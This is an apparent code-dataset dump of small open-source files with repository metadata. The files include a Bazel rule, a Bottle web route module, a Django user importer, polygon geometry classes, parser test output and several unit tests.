"Apache-2.0"
] | 22,688 | 2017-07-04T23:17:19.000Z | 2022-03-31T18:56:48.000Z | third_party/atlas/workspace.bzl | Songjiarui3313/apollo | df9113ae656e28e5374db32529d68e59455058a0 | [
"Apache-2.0"
] | 4,804 | 2017-07-04T22:30:12.000Z | 2022-03-31T12:58:21.000Z | third_party/atlas/workspace.bzl | Songjiarui3313/apollo | df9113ae656e28e5374db32529d68e59455058a0 | [
"Apache-2.0"
] | 9,985 | 2017-07-04T22:01:17.000Z | 2022-03-31T14:18:16.000Z | """Loads the atlas library"""
# Sanitize a dependency so that it works correctly from code that includes
# Apollo as a submodule.
def clean_dep(dep):
return str(Label(dep))
# Installed via atlas-dev
def repo():
# atlas
native.new_local_repository(
name = "atlas",
build_file = clean_dep("//third_party/atlas:atlas.BUILD"),
path = "/usr/include", # /usr/include/$(uname -m)-linux-gnu
)
| 26.75 | 74 | 0.656542 | 59 | 428 | 4.661017 | 0.745763 | 0.058182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.212617 | 428 | 15 | 75 | 28.533333 | 0.816024 | 0.432243 | 0 | 0 | 0 | 0 | 0.206009 | 0.133047 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.125 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
116624c93625fac6eece84b6e0c8123051aa16cd | 436 | py | Python | week1/the_real_deal/count_substrings_test.py | sevgo/Programming101 | ac25c4d9695563b449a629c60ec77a739c9f5be3 | [
"BSD-3-Clause"
] | null | null | null | week1/the_real_deal/count_substrings_test.py | sevgo/Programming101 | ac25c4d9695563b449a629c60ec77a739c9f5be3 | [
"BSD-3-Clause"
] | 1 | 2021-09-16T05:44:31.000Z | 2021-09-16T05:44:31.000Z | week1/the_real_deal/count_substrings_test.py | sevgo/Programming101 | ac25c4d9695563b449a629c60ec77a739c9f5be3 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
import unittest
from count_substrings import count_substrings
class Test_substring_count(unittest.TestCase):
def test_substrings_count(self):
sub = "yth"
string = "Python myth is yet another myth but wyth a python"
self.assertIsInstance(count_substrings(string, sub), int)
self.assertEqual(count_substrings(string, sub), 5)
if __name__ == "__main__":
unittest.main()
| 24.222222 | 68 | 0.715596 | 55 | 436 | 5.381818 | 0.6 | 0.202703 | 0.141892 | 0.162162 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005682 | 0.192661 | 436 | 17 | 69 | 25.647059 | 0.835227 | 0.048165 | 0 | 0 | 0 | 0 | 0.144928 | 0 | 0 | 0 | 0 | 0 | 0.2 | 1 | 0.1 | false | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fec155ad529589e445bedf785bf9f64518c58154 | 2,611 | py | Python | pages/site.py | ongzhixian/python-apps | 11a0d0ce656a7e9d7bdff18dd29feaa2bb436ae6 | [
"MIT"
] | null | null | null | pages/site.py | ongzhixian/python-apps | 11a0d0ce656a7e9d7bdff18dd29feaa2bb436ae6 | [
"MIT"
] | null | null | null | pages/site.py | ongzhixian/python-apps | 11a0d0ce656a7e9d7bdff18dd29feaa2bb436ae6 | [
"MIT"
] | null | null | null | ################################################################################
# Modules and functions import statements
################################################################################
import pdb
from helpers.app_helpers import *
from helpers.page_helpers import *
from helpers.jinja2_helpers import *
################################################################################
# Setup helper functions
################################################################################
# N/A
################################################################################
# Setup commonly used routes
################################################################################
@route('/favicon.ico')
def get_favicon():
return bottle.static_file('favicon.ico', root='./')
@route('/<filename:path>')
def static(filename):
'''
Serve static files
'''
return bottle.static_file(filename, root='./static')
@route('/')
def display_home_page(errorMessages=None):
context = get_default_context(request)
#response.set_cookie('username', 'the username')
return jinja2_env.get_template('html/site/home-page.html').render(context)
@route('/about')
def display_about_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/about-page.html').render(context)
@route('/contact')
def display_contact_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/contact-page.html').render(context)
@route('/toto')
def display_test_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/toto-page.html').render(context)
########################################
# Other test routes
########################################
@route('/test1')
@route('/test1/')
def display_test_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/test1-page.html').render(context)
@route('/test2')
def display_test2_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/test2-page.html').render(context)
@route('/test3')
def display_test3_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/test3-page.html').render(context)
@route('/test4')
def display_test4_page(errorMessages=None):
context = get_default_context(request)
return jinja2_env.get_template('html/site/test4-page.html').render(context)
| 34.355263 | 81 | 0.587897 | 270 | 2,611 | 5.481481 | 0.214815 | 0.054054 | 0.113514 | 0.151351 | 0.589189 | 0.483784 | 0.483784 | 0.460811 | 0.425676 | 0.425676 | 0 | 0.008853 | 0.091536 | 2,611 | 75 | 82 | 34.813333 | 0.615093 | 0.068173 | 0 | 0.232558 | 0 | 0 | 0.162162 | 0.108108 | 0 | 0 | 0 | 0 | 0 | 1 | 0.232558 | false | 0 | 0.093023 | 0.023256 | 0.55814 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
fec5f22dde68bb077c842ee2788a5de0de772f0e | 3,071 | py | Python | sass/scripts/fbis_user_importer.py | NyakudyaA/django-bims | 886fdc6c2a16c982323511fe9e0bdadd996c1f91 | [
"MIT"
] | null | null | null | sass/scripts/fbis_user_importer.py | NyakudyaA/django-bims | 886fdc6c2a16c982323511fe9e0bdadd996c1f91 | [
"MIT"
] | null | null | null | sass/scripts/fbis_user_importer.py | NyakudyaA/django-bims | 886fdc6c2a16c982323511fe9e0bdadd996c1f91 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import dateutil.parser
from geonode.people.models import Profile
from bims.models.profile import Profile as BimsProfile
from sass.scripts.fbis_importer import FbisImporter
class FbisUserImporter(FbisImporter):
content_type_model = Profile
table_name = 'User'
def process_row(self, row, index):
# print(row)
password_value = 'sha1${salt}${hash}'.format(
salt=str(self.get_row_value('SaltValue', row)),
hash=str(self.get_row_value('PasswordHash', row))
)
username_value = self.get_row_value('UserName', row).replace(
' ', '_').lower()
date_joined = dateutil.parser.parse(
self.get_row_value('DateFrom', row))
email_value = self.get_row_value('Email', row)
if Profile.objects.filter(username=username_value).exists():
profiles = Profile.objects.filter(username=username_value)
if not profiles.filter(email=email_value).exists():
same_username = len(profiles)
username_value += '_%s' % str(same_username)
profile, created = Profile.objects.get_or_create(
username=username_value,
email=self.get_row_value('Email', row),
is_active=True,
)
profile.first_name = self.get_row_value('FirstName', row)
profile.last_name = self.get_row_value('Surname', row)
profile.date_joined = date_joined
profile.fax = str(self.get_row_value('FaxNumber', row))
profile.delivery = self.get_row_value('PostalAddress', row)
profile.zipcode = self.get_row_value('PostalCode', row)
profile.position = self.get_row_value('Qualifications', row)
profile.voice = str(self.get_row_value('Telephone', row))
profile.password = password_value
profile.save()
# Other information
bims_profile, bims_created = BimsProfile.objects.get_or_create(
user=profile,
)
bims_profile.qualifications = self.get_row_value('Qualifications', row)
bims_profile.full_name = self.get_row_value('UserName', row)
bims_profile.other = self.get_row_value('Other', row)
bims_profile.data = {
'PasswordHint': str(self.get_row_value('PasswordHint', row)),
'RegionPolID': str(self.get_row_value('RegionPolID', row)),
'OrganisationID': str(self.get_row_value('OrganisationID', row)),
'RegionalChampion': str(self.get_row_value(
'RegionalChampion',
row)),
'NTUserName': str(self.get_row_value('NTUserName', row)),
'SASS4': str(self.get_row_value('SASS4', row)),
'RipVegIndex': str(self.get_row_value('RipVegIndex', row)),
'FAIIndex': str(self.get_row_value('FAIIndex', row)),
'DateModified': str(self.get_row_value('DateModified', row))
}
bims_profile.save()
self.save_uuid(
uuid=self.get_row_value('UserID', row),
object_id=profile.id
)
| 42.068493 | 79 | 0.631716 | 353 | 3,071 | 5.240793 | 0.27762 | 0.098378 | 0.140541 | 0.210811 | 0.286486 | 0.131892 | 0 | 0 | 0 | 0 | 0 | 0.001726 | 0.245523 | 3,071 | 72 | 80 | 42.652778 | 0.79672 | 0.016281 | 0 | 0 | 0 | 0 | 0.124627 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016393 | false | 0.065574 | 0.081967 | 0 | 0.147541 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
fec9864036bf2f6093c38fb6a1886183dfcf1a70 | 369 | py | Python | common/admin.py | art-solopov/mdwiki | b9df8b232453c8b0dc996004a8cbfe1420bb2618 | [
"MIT"
] | null | null | null | common/admin.py | art-solopov/mdwiki | b9df8b232453c8b0dc996004a8cbfe1420bb2618 | [
"MIT"
] | null | null | null | common/admin.py | art-solopov/mdwiki | b9df8b232453c8b0dc996004a8cbfe1420bb2618 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.models import User
class UserAdmin(BaseUserAdmin):
list_display = ('username', 'email',
'first_name', 'last_name',
'is_staff', 'is_active',
)
admin.site.unregister(User)
admin.site.register(User, UserAdmin)
| 26.357143 | 64 | 0.710027 | 45 | 369 | 5.711111 | 0.555556 | 0.116732 | 0.198444 | 0.163424 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181572 | 369 | 13 | 65 | 28.384615 | 0.850993 | 0 | 0 | 0 | 0 | 0 | 0.133152 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fedb658a57f1af2769bf548d2235cc237d27bf66 | 433 | py | Python | dbcut/cli/commands/cmd_flush.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 16 | 2019-11-22T16:36:56.000Z | 2022-03-12T01:49:03.000Z | dbcut/cli/commands/cmd_flush.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 3 | 2019-11-23T06:11:30.000Z | 2020-06-23T13:34:04.000Z | dbcut/cli/commands/cmd_flush.py | SalemHarrache/dbcut | 0fd60e15f3b5532c5c531923d2e9ef08ce17c935 | [
"MIT"
] | 4 | 2019-11-22T20:42:57.000Z | 2022-02-23T09:10:00.000Z | # -*- coding: utf-8 -*-
import click
from ..context import global_options, pass_context, profiler_option
from ..operations import flush
@click.command("flush")
@profiler_option()
@click.option(
"--with-cache",
is_flag=True,
default=False,
help="Also delete all cache",
)
@global_options()
@pass_context
def cli(ctx, **kwargs):
"""Remove ALL TABLES from the target database and recreate them"""
flush(ctx)
| 19.681818 | 70 | 0.69515 | 57 | 433 | 5.157895 | 0.666667 | 0.088435 | 0.115646 | 0.163265 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00277 | 0.166282 | 433 | 21 | 71 | 20.619048 | 0.811634 | 0.191686 | 0 | 0 | 0 | 0 | 0.110465 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0.133333 | 0.2 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
fee0aba8237d5d4bcb90757dba2979742ec8342d | 1,309 | py | Python | trvagg/aggregator.py | chrrrisw/trove-gen-tools | 78d5ceee51fd668a62ef2ab26592c31571fc0171 | [
"MIT"
] | null | null | null | trvagg/aggregator.py | chrrrisw/trove-gen-tools | 78d5ceee51fd668a62ef2ab26592c31571fc0171 | [
"MIT"
] | null | null | null | trvagg/aggregator.py | chrrrisw/trove-gen-tools | 78d5ceee51fd668a62ef2ab26592c31571fc0171 | [
"MIT"
] | null | null | null | from trvartdb import Article
from trvartdb.articledb import ArticleDB
# TODO: Cannot rely on IDs being same between databases - search on name, etc
class Aggregator(object):
"""Reads one ArticleDB and transfers relevant articles to another."""
def __init__(self, from_dbname, to_dbname):
super(Aggregator, self).__init__()
self.from_db = ArticleDB(from_dbname)
self.to_db = ArticleDB(to_dbname)
# TODO: Copy titles, people, etc
from_articles = self.from_db.session.query(Article).filter_by(relevant=True)
for old_article in from_articles:
new_article = Article()
[
setattr(new_article, col.name, getattr(old_article, col.name))
for col in old_article.__table__.columns
]
self.to_db.add_article(new_article)
self.to_db.commit()
def new_object(self, from_object):
new_instance = from_object.__class__()
[
setattr(new_instance, col.name, getattr(from_object, col.name))
for col in from_object.__table__.columns
]
return new_instance
def copy_titles(self):
pass
def copy_articles(self):
pass
def copy_people(self):
pass
def copy_queries(self):
pass
| 27.851064 | 84 | 0.637892 | 162 | 1,309 | 4.839506 | 0.351852 | 0.040816 | 0.030612 | 0.057398 | 0.038265 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.281131 | 1,309 | 46 | 85 | 28.456522 | 0.833156 | 0.130634 | 0 | 0.129032 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021739 | 0 | 1 | 0.193548 | false | 0.129032 | 0.064516 | 0 | 0.322581 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
fee9f86bd5cbf5d110fc4a657bac67322ff39fcc | 2,389 | py | Python | src/genie/libs/parser/nxos/tests/ShowForwardingIpv4Recursive/cli/equal/golden_output_1_expected.py | ykoehler/genieparser | b62cf622c3d8eab77c7b69e932c214ed04a2565a | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/nxos/tests/ShowForwardingIpv4Recursive/cli/equal/golden_output_1_expected.py | ykoehler/genieparser | b62cf622c3d8eab77c7b69e932c214ed04a2565a | [
"Apache-2.0"
] | null | null | null | src/genie/libs/parser/nxos/tests/ShowForwardingIpv4Recursive/cli/equal/golden_output_1_expected.py | ykoehler/genieparser | b62cf622c3d8eab77c7b69e932c214ed04a2565a | [
"Apache-2.0"
] | null | null | null | expected_output = {
"slot": {
"1": {
"ip_version": {
"IPv4": {
"route_table": {
"default/base": {
"prefix": {
"1.1.1.1/32": {
"next_hop": {
"1.1.1.1": {
"interface": "loopback0",
"is_best": True
}
}
},
"1.1.1.2/32": {
"next_hop": {
"1.1.1.2": {
"interface": "loopback1",
"is_best": False
}
}
},
"2.2.2.2/32": {
"next_hop": {
"fe80::a111:2222:3333:e11": {
"interface": "Ethernet1/1",
"is_best": False
}
}
},
"3.3.3.2/32": {
"next_hop": {
"fe80::a111:2222:3333:e11": {
"interface": "Ethernet1/1",
"is_best": False
}
}
},
"4.4.4.2/32": {
"next_hop": {
"fe80::a111:2222:3333:e11": {
"interface": "Ethernet1/1",
"is_best": False
}
}
}
}
}
}
}
}
}
}
} | 42.660714 | 71 | 0.146086 | 98 | 2,389 | 3.428571 | 0.316327 | 0.059524 | 0.053571 | 0.119048 | 0.598214 | 0.598214 | 0.526786 | 0.526786 | 0.526786 | 0.526786 | 0 | 0.167266 | 0.767267 | 2,389 | 56 | 72 | 42.660714 | 0.43705 | 0 | 0 | 0.267857 | 0 | 0 | 0.148536 | 0.030126 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fef06f90a422d2b8189247a9d345aed4d4068997 | 8,127 | py | Python | python/Polygon.py | Pratool/homography | c9daeaa3364b7c658b39c225952288dd828c332e | [
"MIT"
] | 1 | 2019-08-12T17:38:22.000Z | 2019-08-12T17:38:22.000Z | python/Polygon.py | Pratool/homography | c9daeaa3364b7c658b39c225952288dd828c332e | [
"MIT"
] | 1 | 2020-03-03T15:43:38.000Z | 2020-03-04T03:22:47.000Z | python/Polygon.py | Pratool/homography | c9daeaa3364b7c658b39c225952288dd828c332e | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Defines classes related to 2D polygons.
"""
class Vertex:
def __init__(self, coordinates, **kwargs):
self.coordinates = coordinates
if 'prev' in kwargs:
self.set_prev(kwargs['prev'])
if 'next' in kwargs:
self.set_next(kwargs['next'])
def x(self):
return self.coordinates[0]
def y(self):
return self.coordinates[1]
def set_next(self, vertex):
if type(vertex) != type(self):
raise TypeError('Cannot point to a non-Vertex type.')
self.next = vertex
def next_vertex(self):
"""Return the next clockwise vertex in its corresponding
polygon.
"""
return self.next
def set_prev(self, vertex):
if type(vertex) != type(self):
raise TypeError('Cannot point to a non-Vertex type.')
self.prev = vertex
def prev_vertex(self):
"""Return the previous clockwise vertex in its corresponding
polygon.
"""
return self.prev
def __repr__(self):
return '<Vertex {}>'.format(str(self))
def __str__(self):
return '({:.2f}, {:.2f})'.format(*self.coordinates)
class PolygonIter:
def __init__(self, polygon_ref, index):
self.polygon = polygon_ref
self.direction = 1
self.index = 0
self.index = self._advance(index)
def reverse_direction(self):
self.direction *= -1
def get_value(self):
return self.polygon.get_vertex_at(self.index)
def get_index(self):
return self.index
def get_next_iterator(self):
next_iter = PolygonIter(self.polygon, self.index + self.direction)
next_iter.direction = self.direction
return next_iter
def __iter__(self):
return self
def _advance(self, skips):
return_index = self.index + skips
if (return_index >= len(self.polygon.vertices) or return_index <= -1):
raise IndexError('Cannot advance beyond bounds of corresponding '
'polygon vertices container.')
return return_index
def __next__(self):
next_iter = PolygonIter(self.polygon, self.index)
next_iter.direction = self.direction
self.index = self._advance(self.direction)
return next_iter
def __sub__(self, rhs):
return self.index - rhs.index
def __add__(self, rhs):
return self.index + rhs.index
def __eq__(self, rhs):
return self.index == rhs.index
def __repr__(self):
return str(self.polygon.get_vertex_at(self.index))
def __str__(self):
return str(self.polygon.get_vertex_at(self.index))
class Polygon:
def __init__(self, vertices):
"""Vertices are connected by line segments in clockwise order to
represent a convex polygon.
"""
self.vertices = []
for v in vertices:
self.vertices.append(Vertex(v))
for i in range(len(self.vertices)):
self.vertices[i - 1].set_next(self.vertices[i])
self.vertices[i].set_prev(self.vertices[i - 1])
def __repr__(self):
return '->'.join([str(v) for v in self.vertices])
def get_iterator(self, index=0):
return PolygonIter(self, index)
def get_iterator_wrapped_in_bounds(self, index):
if index <= -1:
iter_index = -index
iter_index %= len(self.vertices)
return self.get_iterator(index=len(self.vertices) - iter_index)
return self.get_iterator(index=index % len(self.vertices))
def get_front_iterator(self):
return self.get_iterator(index=0)
def get_back_iterator(self):
return self.get_iterator(index=len(self.vertices) - 1)
def get_vertex_at(self, index):
return self.vertices[index]
def __iter__(self):
return PolygonIter(self, 0)
def __reversed__(self):
iterator = PolygonIter(self, 0)
iterator.reverse_direction()
return iterator
def plot(self, mplib_axes):
xs = [v.x() for v in self.vertices] + [self.vertices[0].x()]
ys = [v.y() for v in self.vertices] + [self.vertices[0].y()]
mplib_axes.plot(xs, ys, 'o-')
return mplib_axes
def _search_vertex(self, comparator, start=0, end=None):
"""Retrieve a vertex that is the "most" of a property that can be
extracted per vertex with the comparator. Will use start and end as
index values and search in the interval [start, end].
Args:
self: Polygon in question.
comparator: Function that compares two vertices to create a strict
lexical ordering. Must return a boolean value.
start: Index into vertex array to begin search.
end: Index into vertex array to end search.
Returns:
Polygon iterator to vertex within vertex array.
"""
if end is None:
end = start + len(self.vertices) - 1
largest_lexical_value = self.get_iterator(index=start)
for index in range(start, end):
if comparator(self.vertices[index], largest_lexical_value.get_value()):
largest_lexical_value = self.get_iterator(index=index)
return largest_lexical_value
def get_top_vertex(self):
"""Retrieve vertex with the max y-value of all vertices in polygon.
Will use start and end as index values and search in the interval
[start, end].
Args:
self: Polygon in question.
start: Index into vertex array to begin search.
end: Index into vertex array to end search.
Returns:
Polygon iterator to vertex within vertex array.
"""
return self._search_vertex(lambda v0, v1: v0.y() > v1.y())
def get_bottom_vertex(self):
"""Retrieve vertex with the min y-value of all vertices in polygon.
Will use start and end as index values and search in the interval
[start, end].
Args:
self: Polygon in question.
start: Index into vertex array to begin search.
end: Index into vertex array to end search.
Returns:
Polygon iterator to vertex within vertex array.
"""
return self._search_vertex(lambda v0, v1: v0.y() < v1.y())
class ConvexPolygon(Polygon):
"""This class encapsulates properties convex polygons posess in the
most efficient runtime complexity possible. Class methods should perform
actions in-place."""
def _search_vertex(self, comparator, start=0, end=None):
"""Retrieve vertex to exploit convexity within the polygon's vertex
search space. Will use start and end as index values and search in the
interval [start, end].
Args:
self: Polygon in question.
comparator: Function that compares the middle vertex with its
neighbors. Must return a boolean value.
start: Index into vertex array to begin search.
end: Index into vertex array to end search.
Returns:
Polygon iterator to vertex within vertex array.
"""
if end is None:
end = start + len(self.vertices) - 1
if start == end:
return self.get_iterator(index=start)
if start - end == 1:
if comparator(self.vertices[start], self.vertices[end]):
return self.get_iterator(index=start)
else:
return self.get_iterator(index=end)
mid = start + int((end - start) / 2.0)
mid_vtx = self.vertices[mid]
after_mid_vtx = self.vertices[mid + 1]
before_mid_vtx = self.vertices[mid - 1]
if comparator(after_mid_vtx, mid_vtx):
return self._search_vertex(comparator, start=mid + 1, end=end)
elif comparator(before_mid_vtx, mid_vtx):
return self._search_vertex(comparator, start=start, end=mid - 1)
else:
return self.get_iterator(index=mid)
| 31.746094 | 83 | 0.613141 | 1,035 | 8,127 | 4.661836 | 0.163285 | 0.064663 | 0.031088 | 0.041451 | 0.538653 | 0.508187 | 0.461347 | 0.420725 | 0.324145 | 0.324145 | 0 | 0.006972 | 0.294081 | 8,127 | 255 | 84 | 31.870588 | 0.83406 | 0.263443 | 0 | 0.201493 | 0 | 0 | 0.033843 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.268657 | false | 0 | 0 | 0.134328 | 0.567164 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
fef1b38254b4043002410c7d94c34c406adf0553 | 223 | gyp | Python | binding.gyp | oferh/node-readpath | 6c12ad29b680040994666f411a81c190770b2418 | [
"Apache-2.0"
] | null | null | null | binding.gyp | oferh/node-readpath | 6c12ad29b680040994666f411a81c190770b2418 | [
"Apache-2.0"
] | null | null | null | binding.gyp | oferh/node-readpath | 6c12ad29b680040994666f411a81c190770b2418 | [
"Apache-2.0"
] | null | null | null | {
"targets": [
{
"target_name": "readpath",
"sources": [ "src/dirread.cc", "src/async.cc" ],
"include_dirs" : [
"<!(node -e \"require('nan')\")"
]
}
],
}
| 18.583333 | 60 | 0.367713 | 17 | 223 | 4.705882 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.403587 | 223 | 11 | 61 | 20.272727 | 0.601504 | 0 | 0 | 0 | 0 | 0 | 0.390135 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
feff293e155d8d02f3d34dd66ffd8ddb0c1e70c8 | 287 | py | Python | eval_commands/csvtopkl.py | anshumandutt/AreCELearnedYet | e2286c3621dea8e4961057b6197c1e14e75aea5a | [
"MIT"
] | null | null | null | eval_commands/csvtopkl.py | anshumandutt/AreCELearnedYet | e2286c3621dea8e4961057b6197c1e14e75aea5a | [
"MIT"
] | null | null | null | eval_commands/csvtopkl.py | anshumandutt/AreCELearnedYet | e2286c3621dea8e4961057b6197c1e14e75aea5a | [
"MIT"
] | null | null | null | from pathlib import Path
import pandas as pd
from pandas.api.types import CategoricalDtype
path = Path("data/power7/original.csv")
df = pd.read_csv(path)
df = df.astype({k: CategoricalDtype(ordered=True) for k, d in df.dtypes.items() if d == "O"})
df.to_pickle(path.with_suffix(".pkl")) | 35.875 | 93 | 0.74216 | 49 | 287 | 4.285714 | 0.653061 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003922 | 0.111498 | 287 | 8 | 94 | 35.875 | 0.819608 | 0 | 0 | 0 | 0 | 0 | 0.100694 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
3a0570e4b349bc1683f25a39c4523c2251004591 | 717 | py | Python | lib/python/cobra/helper/test_logging.py | cobra79/GeoGeekSuite | fc8e43a9e8dffa6b41b5b4671f674bee6f60785d | [
"Apache-2.0"
] | null | null | null | lib/python/cobra/helper/test_logging.py | cobra79/GeoGeekSuite | fc8e43a9e8dffa6b41b5b4671f674bee6f60785d | [
"Apache-2.0"
] | null | null | null | lib/python/cobra/helper/test_logging.py | cobra79/GeoGeekSuite | fc8e43a9e8dffa6b41b5b4671f674bee6f60785d | [
"Apache-2.0"
] | null | null | null | import unittest
from . import logging
class TestLogger(unittest.TestCase):
def test_class(self):
logger = logging.Logger(self)
self.assertEqual(type(logger).__name__, 'Logger')
def test_info(self):
logger = logging.Logger(self)
logger.info('InfoTest')
self.assertTrue(logger.in_recent_logs('TestLogger', 'InfoTest'))
def test_error(self):
logger = logging.Logger(self)
logger.error('InfoError')
self.assertTrue(logger.in_recent_logs('TestLogger', 'InfoError'))
def test_debug(self):
logger = logging.Logger(self)
logger.debug('InfoDebug')
self.assertTrue(logger.in_recent_logs('TestLogger', 'InfoDebug')) | 26.555556 | 73 | 0.663877 | 80 | 717 | 5.775 | 0.3 | 0.151515 | 0.147186 | 0.199134 | 0.545455 | 0.487013 | 0.272727 | 0 | 0 | 0 | 0 | 0 | 0.2106 | 717 | 27 | 74 | 26.555556 | 0.816254 | 0 | 0 | 0.222222 | 0 | 0 | 0.122563 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a05d66dfd3270f1f41b2bd505ed0044dede55e7 | 1,234 | py | Python | modules_disabled.py | TREVO786/goost | babbeb7583b603a59577cac3bf34c6e136ea7396 | [
"CC-BY-3.0",
"MIT"
] | 1 | 2021-02-11T20:51:09.000Z | 2021-02-11T20:51:09.000Z | modules_disabled.py | TREVO786/goost | babbeb7583b603a59577cac3bf34c6e136ea7396 | [
"CC-BY-3.0",
"MIT"
] | null | null | null | modules_disabled.py | TREVO786/goost | babbeb7583b603a59577cac3bf34c6e136ea7396 | [
"CC-BY-3.0",
"MIT"
] | null | null | null | # This is a list of modules which are not required to build
# in order to test out this extension. Mostly useful for CI.
module_arkit_enabled = "no"
module_assimp_enabled = "no"
module_fbx_enabled = "no"
module_bmp_enabled = "no"
module_bullet_enabled = "no"
module_camera_enabled = "no"
module_csg_enabled = "no"
module_cvtt_enabled = "no"
